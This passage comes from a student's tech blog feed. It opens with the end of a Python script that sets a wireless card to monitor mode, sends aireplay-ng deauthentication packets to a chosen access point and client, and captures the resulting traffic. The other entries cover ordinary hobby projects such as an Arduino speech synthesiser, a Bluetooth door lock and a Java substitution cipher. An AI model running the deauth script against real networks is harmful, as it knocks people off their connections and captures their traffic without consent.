mode&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;    sleep(5) #pause for 5 seconds so user can read the info&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;    print “wireless card is set to monitor mode. Start sniffing…”&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;    os.system(“airodump-ng mon0”) #start probing local wireless network&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;except KeyboardInterrupt:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;    print “nothing”;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;print “Sniffing process stopped.”&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;print “Lets start deAuth attack. Pick an AP and a connected client”&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;bssid = raw_input(“Enter the MAC address of the hidden SSID of an AP (BSSID) : “)&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;station = raw_input(“Enter the MAC address of connected client (STATION) : “)&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;try:&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;    print “Start deAuth attack…”&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;    os.system(“aireplay-ng –deauth 10 -a %s -c %s mon0 –ignore-negative-one” % (bssid, station)) #send deAuth packets to the AP&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;except KeyboardInterrupt:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;    print “nothing”;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;print “ “&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;print “deAuth attack is stopped. At this point, the client is trying to re-authenticate with the AP”&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;print “Lets capture the packets”&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;sleep(5) #pause for 3 seconds so user can read the info&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;try:&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;    os.system(“airodump-ng –bssid %s -w captured_packet mon0” %(bssid))&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;except KeyboardInterrupt:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;    print “nothing”&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;print “The captured packets are saved to a file in the same directory - captured_packet.cap”&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;print “ “&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;print “Displaying the first 20 captured packets…”&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;os.system(“tshark -r ‘wlan.bssid == %s’ -r captured_packet-01.cap | grep SSID | sed ‘s/^.*SSID=//’ | sort | uniq” % bssid)&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;print “end”&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Chrome Pop Up blocker</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/09/10/Chrome-Pop-Up-blocker/"/>
   <updated>2014-09-10T19:37:45+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/09/10/Chrome-Pop-Up-blocker</id>
   <content type="html">&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-4ZHrlDnH1zc/VBCoGjr3deI/AAAAAAAABAI/Y2iGEpCBSjs/s1600/Untitled.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://2.bp.blogspot.com/-4ZHrlDnH1zc/VBCoGjr3deI/AAAAAAAABAI/Y2iGEpCBSjs/s1600/Untitled.png&quot; height=&quot;318&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;If you browse the internet for so long, you&apos;ll understand the pain of closing those annoying pop ups. Some Ad Blocker can close those pop ups that comes in a new window. But some does not work on the one that pop up as a new tab.&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;Well, this one does&lt;br /&gt;&lt;br /&gt;Get it &lt;a href=&quot;https://chrome.google.com/webstore/detail/adblock/gighmmpiobklfepjocnamgkkbiglidom/related&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;HERE&lt;/span&gt;&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Make your Arduino talk! (Speech Synthesiser or Text-To-Speech library)</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/09/09/Make-your-Arduino-talk!-(Speech-Synthesiser-or-Text-To-Speech-library)/"/>
   <updated>2014-09-09T15:34:45+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/09/09/Make-your-Arduino-talk!-(Speech-Synthesiser-or-Text-To-Speech-library)</id>
   <content type="html">&lt;p&gt;The other day I was asked by Joe to help him with a project (more about it later), which needs to produce sound, or in a simplest way, speak. I list here the simplest possible ways to do it.&lt;br /&gt;&lt;br /&gt; 1. Cantarino&lt;br /&gt;&lt;br /&gt;http://code.google.com/p/tinkerit/wiki/Cantarino&lt;br /&gt;&lt;br /&gt;2. Text-To-Speech library&lt;br /&gt;    Source : &lt;a href=&quot;http://forum.arduino.cc/index.php/topic,49654.msg354746.html#msg354746&quot;&gt;forum.arduino.cc&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;    Some RC filter circuit and Amp need to be constructed at the output to produce the sound.&lt;br /&gt;  &lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://3.bp.blogspot.com/-7t8JSebYyzU/VA4ZK_FMn1I/AAAAAAAAA_o/3wrVaAMDO8s/s1600/Arduino-LM386.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://3.bp.blogspot.com/-7t8JSebYyzU/VA4ZK_FMn1I/AAAAAAAAA_o/3wrVaAMDO8s/s1600/Arduino-LM386.png&quot; height=&quot;496&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&amp;lt;div style=&quot;text-align: left;&quot;&amp;gt;Download it here : &lt;a href=&quot;https://drive.google.com/file/d/0B95Qjfn3s5vkVHVvaTMyRmluVzA/edit?usp=sharing&quot;&gt;Download&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Windows Mobile platform kick off by Afiq</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/09/05/Windows-Mobile-platform-kick-off-by-Afiq/"/>
   <updated>2014-09-05T11:35:19+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/09/05/Windows-Mobile-platform-kick-off-by-Afiq</id>
   <content type="html">&lt;p&gt;Below is the post written by Afiq on hist first kick start with Windows App development :&lt;br /&gt;&lt;br /&gt;Afiq Here and this is my first update.&lt;br /&gt;&lt;br /&gt;This blog post is about my attempt at setting up the windows phone 8 development environment nad my experience playing with the environment in visual studio. I will reference all the websites that I went to in my attempt to install the necessary files&lt;br /&gt;&lt;br /&gt;1. First I installed this file as recommended by Raf. It wasn’t much, It just provided me with some of these tile apps.&lt;br /&gt;&lt;br /&gt;http://www.microsoft.com/en-us/download/details.aspx?id=17284&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://1.bp.blogspot.com/-JbdOgAskEGY/UnokpES6bZI/AAAAAAAAAXs/ScXfBypU0hw/s1600/2009+6point5.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/-JbdOgAskEGY/UnokpES6bZI/AAAAAAAAAXs/ScXfBypU0hw/s320/2009+6point5.PNG&quot; height=&quot;188&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2. Then I installed visual studio express 2012 from this website. This one took quite long to install and with some errors. The whole suite came with Blend for Visual Studio. It is so far running without errors but at one point during the installation it said that some features were missing. So I think it only partially installed correctly. I ran a repair install afterwards and I think it should be better now.&lt;br /&gt;&lt;br /&gt;http://www.microsoft.com/visualstudio/eng/products/visual-studio-express-products&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://3.bp.blogspot.com/-J7tl-Rc5Z0Q/Unog0rSrJlI/AAAAAAAAAXE/v2hiJlu4epw/s1600/Visual+studio+install+sight.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://3.bp.blogspot.com/-J7tl-Rc5Z0Q/Unog0rSrJlI/AAAAAAAAAXE/v2hiJlu4epw/s400/Visual+studio+install+sight.PNG&quot; height=&quot;400&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;3. Seeking reference I then found this MSDN blog article that I used to verify all the steps that I achieved so far. I followed all the instructions and I find that this was the clearest and easiest set of instructions to follow. Everything went about without a hitch.&lt;br /&gt;&lt;br /&gt;http://blogs.msdn.com/b/cdndevs/archive/2013/10/01/setting-up-your-windows-phone-development-environment-in-30-minutes-or-less.aspx&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://4.bp.blogspot.com/-VvaLVRsuqnQ/UnohlDmVJrI/AAAAAAAAAXM/o2CehRS3x40/s1600/Canadian+MSDN.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://4.bp.blogspot.com/-VvaLVRsuqnQ/UnohlDmVJrI/AAAAAAAAAXM/o2CehRS3x40/s320/Canadian+MSDN.PNG&quot; height=&quot;181&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;4. This is the development environment that I have so far. It is compliant with the picture in the file taken from the W8 guide given before the holidays given by Mr. Ling.&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://1.bp.blogspot.com/-ybXOjyqP8WI/Unoh-OcpdEI/AAAAAAAAAXU/FqrnBTDT-GM/s1600/Update+screen.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/-ybXOjyqP8WI/Unoh-OcpdEI/AAAAAAAAAXU/FqrnBTDT-GM/s400/Update+screen.PNG&quot; height=&quot;222&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;I watched this YouTube video that showed exactly the same platform and introduced some programming conventions that I had to be aware of for windows phone 8 development.&lt;br /&gt;&lt;br /&gt;http://www.youtube.com/watch?v=blU9rBiVURM&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://1.bp.blogspot.com/-GthZdunRZ54/UnojBvowkGI/AAAAAAAAAXg/VHwd6j7wXos/s1600/YT+reference.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/-GthZdunRZ54/UnojBvowkGI/AAAAAAAAAXg/VHwd6j7wXos/s640/YT+reference.PNG&quot; height=&quot;350&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;My progress is now shalted because the emulator is having some problems. Apparently my brand new computer is missing the prerequisite of being windows 8 professional version but all the prerequisites for running the hyper-v virtualisation machine are all there.&lt;br /&gt;&lt;br /&gt;Some of these basic prerequisites include&lt;br /&gt;4 GB RAM&lt;br /&gt;x64 architecture&lt;br /&gt;Supports SLAT (Second Level Address Transition)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;All of which I already satisfy the needs of.&lt;br /&gt;&lt;br /&gt;Everytime I want to run the simulator an error occurs, unlike the YouTube video tutorial in which the Emulator is easy fast and accessible, mines does not want to function at all. This is what I get when I run the emulator.&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://3.bp.blogspot.com/-G3nDJu4d4_M/UnolqfXYamI/AAAAAAAAAX8/PSMYj9dPiZQ/s1600/fail+1.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://3.bp.blogspot.com/-G3nDJu4d4_M/UnolqfXYamI/AAAAAAAAAX8/PSMYj9dPiZQ/s320/fail+1.PNG&quot; height=&quot;205&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://4.bp.blogspot.com/-DuqgPPjtjE0/UnolqDS4XAI/AAAAAAAAAX4/OvDa5pxY_b4/s1600/Fail+2.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://4.bp.blogspot.com/-DuqgPPjtjE0/UnolqDS4XAI/AAAAAAAAAX4/OvDa5pxY_b4/s400/Fail+2.PNG&quot; height=&quot;207&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;My proposed solution …&lt;br /&gt;Go Pirate, RRrrrrrrr….&lt;br /&gt;And run the same installation steps over again. I Think it will be faster on a clean slate.&lt;br /&gt;Thats all from me,&lt;br /&gt;&lt;br /&gt;Afiq Hamid,&lt;br /&gt;6/11/2013&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Windows App developement with Afiq</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/09/05/Windows-App-developement-with-Afiq/"/>
   <updated>2014-09-05T11:33:19+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/09/05/Windows-App-developement-with-Afiq</id>
   <content type="html">&lt;p&gt;Me and Afiq were in charge of developing the App for the Innovate Malaysia design competition. In short, we need to build the similar version of Android App for Windows Platform. As I have been familiarizing my self with the dark side of the phone’s Bluetooth development, developing for Windows Phone becomes rather easy for me.&lt;br /&gt;&lt;br /&gt;Afiq started the work early as I was still busy developing the Android version. Below is one of his screenshots. Nice experience, eh? Maybe one of us will end up being a developer one day.&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://3.bp.blogspot.com/-CAd5Q5XF2iw/UxlfKZWMfkI/AAAAAAAAAdc/Xssohsk5cwg/s1600/My+Progress+Today.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://3.bp.blogspot.com/-CAd5Q5XF2iw/UxlfKZWMfkI/AAAAAAAAAdc/Xssohsk5cwg/s1600/My+Progress+Today.PNG&quot; height=&quot;180&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Unlocking - sending keys and verification</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/09/05/Unlocking-sending-keys-and-verification/"/>
   <updated>2014-09-05T11:21:48+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/09/05/Unlocking-sending-keys-and-verification</id>
   <content type="html">&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;
&lt;p&gt;In the last meeting, we discussed on how we can implement the verification of the key in the most efficient way, while not risking the security aspect of the system. &lt;br /&gt;&lt;br /&gt;We agreed that we would be implementing a distance measuring mechanism (I’ll write about it in another post), in which the door is to be set “ready to be unlocked” only when the user is within the safe distance from the door (2-3 meters). &lt;br /&gt;&lt;br /&gt;This adds another type of verification which is the &lt;i&gt;distance between the user and the Rpi &lt;/i&gt;itself.&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://4.bp.blogspot.com/-Fow_Fx1vjws/UlZ_phhge2I/AAAAAAAAAyc/2pgSaNEVook/s1600/Untitled+drawing+(2).jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;640&quot; src=&quot;http://4.bp.blogspot.com/-Fow_Fx1vjws/UlZ_phhge2I/AAAAAAAAAyc/2pgSaNEVook/s640/Untitled+drawing+(2).jpg&quot; width=&quot;542&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;The figure above shows how Rpi is used to validates both ‘distance’ and ‘key’. Alternatively, ‘distance’ can be validated via the Android App itself.&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>UI design (again!)</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/09/05/UI-design-(again!)/"/>
   <updated>2014-09-05T11:21:48+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/09/05/UI-design-(again!)</id>
   <content type="html">&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;text-align: left;&quot;&gt;Since we have passed the first demonstration, it&apos;s time now to design for the final prototype. I have considered a few ideas of how our App will look like, and what kind of functionality that we will be offering. Unline UniKey, we don&apos;t have our system connected to the net, which makes our system simpler than theirs (apart from more secured, that&apos;s it). These are the interfaces that I came out with, as of now.&lt;/span&gt;&lt;br /&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-gfhfJkwZuF0/Uimd-sBWPdI/AAAAAAAAAvI/1Kw2-svSiOU/s1600/main.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://3.bp.blogspot.com/-gfhfJkwZuF0/Uimd-sBWPdI/AAAAAAAAAvI/1Kw2-svSiOU/s1600/main.png&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&amp;nbsp;&amp;nbsp;&lt;a href=&quot;http://1.bp.blogspot.com/-PHLWpLOtqyA/Uimd-pUKgAI/AAAAAAAAAvM/58TN2hsEa1k/s1600/keysharing.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/-PHLWpLOtqyA/Uimd-pUKgAI/AAAAAAAAAvM/58TN2hsEa1k/s1600/keysharing.png&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-M76Qk-5J4mg/Uimd-hcgOdI/AAAAAAAAAvU/U6vPhbP9MDQ/s1600/mykeys.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://4.bp.blogspot.com/-M76Qk-5J4mg/Uimd-hcgOdI/AAAAAAAAAvU/U6vPhbP9MDQ/s1600/mykeys.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;What do you think?&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Thesis - Chap 1 & Chap 2</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/09/05/Thesis-Chap-1-&-Chap-2/"/>
   <updated>2014-09-05T11:21:48+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/09/05/Thesis-Chap-1-&-Chap-2</id>
   <content type="html">&lt;div align=&quot;left&quot; class=&quot;MsoNormal&quot;&gt;We have a meeting on Jan 24th where we were asked to submit our first draft for both Chapter 1 and Chapter 2 of the thesis two weeks after. These are the points jotted down by me during the meeting. &lt;br /&gt;&lt;br /&gt;&amp;nbsp;Chapter 1: Introduction (4 pages) – get the some content from slide!&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Focus on scope – mention the motivation&lt;/li&gt;&lt;li&gt;Current market of AC system – what is available? How far the systems being used?&lt;/li&gt;&lt;li&gt;Problems with current AC system&lt;/li&gt;&lt;li&gt;How the problems can be solved, in relation to the scope&lt;/li&gt;&lt;li&gt;Then, the objective of the project which is proposed, in order to solve the problems&lt;/li&gt;&lt;li&gt;Mention the novelty of the project&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;Chapter 2:Lit. Review (15 pages)&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Focus on Bluetooth/Smartphone used for AC system&lt;/li&gt;&lt;li&gt;Quote examples – highlight advantages and problems – some analysis, why people use the system? The good and the bad from user’s perspective – relate to the situation in Malaysia, with data support - why people don’t use or didn’t try to use&lt;/li&gt;&lt;li&gt;Then, highlight specific functions - related to CMS. How CMS is integrated with AC system, along with Smartphone and Bluetooth&lt;/li&gt;&lt;li&gt;Discussion, which lead to the Chapter 3: Design and Implementation&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Substitution Cipher - Java</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/09/05/Substitution-Cipher-Java/"/>
   <updated>2014-09-05T11:21:48+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/09/05/Substitution-Cipher-Java</id>
   <content type="html">&lt;p&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;b&gt;Downloadable file : &lt;a href=&quot;https://www.dropbox.com/s/os771blit1jemfe/subs_cipper.java&quot;&gt;Substitution Cipher&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;import java.util.HashMap;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;import java.util.Iterator;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;import java.util.Map;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;public class subs_cipper { &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;      public static void main(String[] args) { &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;   &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;      System.out.println(“This is to demonstrate the Substitution Cipher”);&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;      System.out.println(“Each alphanumeric char is mapped to a String (arbitrarily, of two chars length)”);&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;      System.out.println(“For example, ‘A’ is mapped to &quot;OA&quot;, ‘B’ is mapped to &quot;9B&quot;, and so on…”);&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;      System.out.print(“\nTest String = “);&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;      String plaintext = “WHYAMIDOINGTHISWHYAREWEHEREWHATAREWEDOING”;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;      //string to be ciphered&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;      //String plaintext = “ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890”;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;      //use this to check. With this, &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;      //…plaintext = Keys, and Ciphertext = Values&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;      System.out.print(plaintext);&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;      &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;      //Encryption&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;      System.out.println(“\n\nCiphertext = 